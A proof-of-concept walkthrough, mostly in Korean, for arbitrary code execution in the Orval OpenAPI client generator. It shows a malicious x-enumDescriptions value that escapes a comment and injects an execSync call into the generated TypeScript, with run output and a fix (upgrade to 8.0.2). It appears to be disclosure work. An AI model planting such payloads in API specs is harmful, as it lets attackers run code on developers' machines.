
Proof-of-concept demonstrating arbitrary code execution in Orval via malicious OpenAPI fields, with setup, exploit steps, and remediation guidance.
이 워크스루는 신뢰할 수 없는 OpenAPI 스펙이 x-enumDescriptions 및 x-enumNames 필드를 통해 Orval을 악용하여 생성된 클라이언트에 임의 코드를 주입할 수 있는 방법을 보여줍니다.
orval(예: 7.10.0)을 설치합니다:mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios
orval.config.js를 생성합니다:module.exports = {
test: {
input: './openapi.yaml',
output: {
target: './generated/api.ts',
schemas: './generated/model',
mode: 'split',
},
},
};
openapi.yaml을 생성합니다:openapi: 3.0.0
info:
title: Test API
version: 1.0.0
paths:
/test:
get:
responses:
'200':
description: OK
content:
application/json:
schema:
type: object
properties:
status:
$ref: '#/components/schemas/TestEnum'
components:
schemas:
TestEnum:
type: string
enum:
- VAL1
x-enumDescriptions:
- "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
npx orval
generated/model/testEnum.ts를 확인합니다:/**
* Generated by orval v7.10.0 🍺
* Do not edit manually.
* Test API
* OpenAPI spec version: 1.0.0
*/
export type TestEnum = typeof TestEnum[keyof typeof TestEnum];
// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
/** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
VAL1: 'VAL1',
} as const;
실행 스크립트 exploit.ts를 생성합니다:
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);
tsx를 사용하여 실행합니다:
npm install -D tsx
npx tsx exploit.ts
출력:
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)
TestEnum value: {}
Orval을 버전 8.0.2 이상으로 업그레이드하세요. 해당 수정 버전은 js-string-escape를 사용하여 이러한 문자열을 적절히 이스케이프 처리합니다.